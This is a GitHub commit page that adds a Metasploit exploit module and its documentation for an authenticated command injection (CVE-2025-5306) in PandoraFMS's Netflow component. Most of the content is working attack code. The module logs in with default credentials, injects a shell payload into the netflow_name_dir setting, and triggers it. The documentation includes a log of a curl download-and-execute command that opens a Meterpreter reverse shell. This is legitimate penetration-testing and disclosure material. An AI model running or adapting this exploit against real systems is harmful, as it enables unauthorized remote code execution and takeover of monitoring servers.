Skip to content

Commit 18d61d3

Browse files
authored
Merge pull request #20356 from msutovsky-r7/exploit/pandorafms_netflow_rce
Add module for authenticated PandoraFMS command injection (CVE-2025-5306)
2 parents cf13498 + ca9535e commit 18d61d3

File tree

2 files changed

+275
-0
lines changed

2 files changed

+275
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
## Vulnerable Application
2+
3+
PandoraFMS offers multiple modules that can be turned on or off with an administrative account.
4+
One of them is Netflow, which is responsible for real-time network monitoring.
5+
It can collect network data and then report or dump it.
6+
Once Netflow is configured, it allows you to perform various tasks, such as viewing and exporting network data.
7+
8+
The Netflow explorer contains a vulnerability,
9+
when an unsanitized parameter from the Netflow configuration is placed into a string that gets executed using the exec() function.
10+
11+
The PandoraFMS can be installed from [here](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/777/Tarball/):
12+
13+
1. Download vulnerable PandoraFMS
14+
1. Install webserver - Apache2, MySQL, PHP8.2+
15+
1. Disable `strict_mode` in MySQL - `set global sql_mode='';`
16+
1. Following installation steps of PandoraFMS
17+
1. Enable Netflow in PandoraFMS settings
18+
1. Run: `sudo apt install nfdump`
19+
20+
21+
## Verification Steps
22+
23+
1. Install the application
24+
1. Start msfconsole
25+
1. Do: `use linux/http/pandora_fms_auth_netflow_rce`
26+
1. Do: `set rhosts [target IP]`
27+
1. Do: `set lhost [attacker IP]`
28+
1. Do: `set username [username]`
29+
1. Do: `set password [password]`
30+
1. Do: `run`
31+
1. You should get a shell.
32+
33+
## Options
34+
35+
36+
### USERNAME
37+
38+
Login username of existing user.
39+
40+
### PASSWORD
41+
42+
Login password of existing user.
43+
44+
## Scenarios
45+
46+
```
47+
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set rhosts 192.168.168.146
48+
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set PASSWORD pandora
49+
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set USERNAME admin
50+
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > run verbose=true
51+
[*] Command to run on remote host: curl -so ./khZKmkFYijJ http://192.168.168.128:8080/M1We21fZKyvgtWK9IWStLA;chmod +x ./khZKmkFYijJ;./khZKmkFYijJ&
52+
[*] Fetch handler listening on 192.168.168.128:8080
53+
[*] HTTP server started
54+
[*] Adding resource /M1We21fZKyvgtWK9IWStLA
55+
[*] Started reverse TCP handler on 192.168.168.128:4444
56+
[*] 192.168.168.146:80 - Running automatic check ("set AutoCheck false" to disable)
57+
[*] 192.168.168.146:80 - Version 7.0.777 detected
58+
[+] 192.168.168.146:80 - The target is vulnerable. Vulnerable PandoraFMS version 7.0.777 detected
59+
[*] Client 192.168.168.146 requested /M1We21fZKyvgtWK9IWStLA
60+
[*] Sending payload to 192.168.168.146 (curl/7.68.0)
61+
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.146:54980) at 2025-06-25 12:27:52 +0200
62+
63+
meterpreter > sysinfo
64+
Computer : 192.168.168.146
65+
OS : Ubuntu 20.04 (Linux 5.15.0-136-generic)
66+
Architecture : x64
67+
BuildTuple : x86_64-linux-musl
68+
Meterpreter : x64/linux
69+
```
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::Remote::HttpClient
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'PandoraFMS Netflow Authenticated Remote Code Execution',
18+
'Description' => %q{
19+
This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => ['msutovsky-r7'], # researcher, module dev
23+
'References' => [
24+
[ 'CVE', '2025-5306']
25+
],
26+
'Platform' => ['unix', 'linux'],
27+
'Arch' => [ ARCH_CMD ],
28+
'Privileged' => false,
29+
'Targets' => [
30+
31+
[
32+
'Linux/Unix Command',
33+
{
34+
'Platform' => ['unix', 'linux'],
35+
'Arch' => [ ARCH_CMD]
36+
}
37+
]
38+
],
39+
'DisclosureDate' => '2025-12-30',
40+
'DefaultTarget' => 0,
41+
'DefaultOptions' => {
42+
'RPORT' => 80,
43+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
44+
'FETCH_WRITABLE_DIR' => '/tmp'
45+
},
46+
'Notes' => {
47+
'Stability' => [CRASH_SAFE],
48+
'Reliability' => [REPEATABLE_SESSION],
49+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
50+
}
51+
)
52+
)
53+
54+
register_options(
55+
[
56+
OptString.new('TARGETURI', [true, 'The base path to PandoraFMS application', '/pandora_console/']),
57+
OptString.new('USERNAME', [true, 'Username to PandoraFMS applicaton', 'admin']),
58+
OptString.new('PASSWORD', [true, 'Password to PandoraFMS application', 'pandora'])
59+
]
60+
)
61+
end
62+
63+
def check
64+
res = send_request_cgi({
65+
'method' => 'GET',
66+
'uri' => normalize_uri(target_uri.path, 'index.php'),
67+
'vars_get' => { 'login' => '1' },
68+
'keep_cookies' => true
69+
})
70+
return Msf::Exploit::CheckCode::Unknown('Received unexpected response') unless res&.code == 200
71+
72+
html = res.get_html_document
73+
74+
return Msf::Exploit::CheckCode::Unknown('Response seems to be empty') unless html
75+
76+
version = html.at('div[@id="ver_num"]')&.text
77+
78+
@csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)
79+
80+
return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') if version.blank?
81+
82+
version = version[1..]&.sub('NG', '')
83+
84+
vprint_warning('Token was not parsed, will try again') unless @csrf_token
85+
86+
vprint_status("Version #{version} detected")
87+
88+
return Exploit::CheckCode::Appears("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10'))
89+
90+
Msf::Exploit::CheckCode::Safe("Running version #{version}, which is not vulnerable")
91+
end
92+
93+
def get_csrf_token
94+
res = send_request_cgi({
95+
'method' => 'GET',
96+
'uri' => normalize_uri(target_uri.path, 'index.php'),
97+
'vars_get' => { 'login' => '1' },
98+
'keep_cookies' => true
99+
})
100+
fail_with Failure::UnexpectedReply, 'Recevied unexpected response' unless res&.code == 200
101+
102+
html = res.get_html_document
103+
104+
fail_with Failure::UnexpectedReply, 'Empty response received' unless html
105+
106+
@csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)
107+
108+
fail_with Failure::NotFound, 'Could not found CSRF token' unless @csrf_token
109+
end
110+
111+
##
112+
# Checks whether login response was valid and successful. It check whether response code is 200 an if body contains either of following values - id="welcome-icon-header", id="welcome-panel" or "godmode"
113+
##
114+
def login_successful?(res)
115+
res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
116+
end
117+
118+
def login
119+
res = send_request_cgi!({
120+
'method' => 'POST',
121+
'uri' => normalize_uri(target_uri.path, 'index.php'),
122+
'keep_cookies' => true,
123+
'vars_get' => { 'login' => '1' },
124+
'vars_post' =>
125+
{
126+
'nick' => datastore['USERNAME'],
127+
'pass' => datastore['PASSWORD'],
128+
'login_button' => "Let's go",
129+
'csrf_code' => @csrf_token
130+
}
131+
})
132+
fail_with Failure::NoAccess, 'Invalid credentials' unless login_successful?(res)
133+
end
134+
135+
def valid_netflow_options?(opts)
136+
opts.each do |item|
137+
return false if item.blank?
138+
end
139+
end
140+
141+
def configure_netflow
142+
res = send_request_cgi({
143+
'method' => 'GET',
144+
'uri' => normalize_uri(target_uri.path, 'index.php'),
145+
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' }
146+
})
147+
148+
fail_with Failure::NotFound, 'Netflow might not be enabled' unless res&.code == 200
149+
150+
html = res.get_html_document
151+
152+
fail_with Failure::UnexpectedReply, 'Unexpected response when trying to configure Netflow' unless html
153+
154+
netflow_daemon_value = html.at('input[@name="netflow_daemon"]')&.attributes&.fetch('value', nil)
155+
netflow_nfdump_value = html.at('input[@name="netflow_nfdump"]')&.attributes&.fetch('value', nil)
156+
html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil)
157+
netflow_max_resolution_value = html.at('input[@name="netflow_max_resolution"]')&.attributes&.fetch('value', nil)
158+
netflow_disable_custom_lvfilters_sent_value = html.at('input[@name="netflow_disable_custom_lvfilters_sent"]')&.attributes&.fetch('value', nil)
159+
netflow_max_lifetime_value = html.at('input[@name="netflow_max_lifetime"]')&.attributes&.fetch('value', nil)
160+
netflow_interval_value = html.at('select[@name="netflow_interval"]//option[@selected="selected"]')&.attributes&.fetch('value', nil)
161+
162+
request_data = {
163+
'netflow_daemon' => netflow_daemon_value,
164+
'netflow_nfdump' => netflow_nfdump_value,
165+
'netflow_max_resolution' => netflow_max_resolution_value,
166+
'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value,
167+
'netflow_max_lifetime' => netflow_max_lifetime_value,
168+
'netflow_interval' => netflow_interval_value
169+
}
170+
171+
fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless valid_netflow_options?(request_data)
172+
173+
request_data.merge!({
174+
'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#',
175+
'update_config' => '1',
176+
'upd_button' => 'Update'
177+
})
178+
179+
res = send_request_cgi({
180+
'method' => 'POST',
181+
'uri' => normalize_uri(target_uri.path, 'index.php'),
182+
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' },
183+
'vars_post' => request_data
184+
})
185+
fail_with Failure::PayloadFailed, 'Failed to configure Netflow' unless res&.code == 200
186+
end
187+
188+
def trigger_payload
189+
send_request_cgi({
190+
'method' => 'GET',
191+
'uri' => normalize_uri(target_uri.path, 'index.php'),
192+
'vars_get' => { 'sec' => 'network_traffic', 'sec2' => 'operation/netflow/netflow_explorer' }
193+
})
194+
end
195+
196+
def exploit
197+
# do we have csrf token already
198+
get_csrf_token unless @csrf_token
199+
200+
login
201+
202+
configure_netflow
203+
204+
trigger_payload
205+
end
206+
end

0 commit comments

Comments
 (0)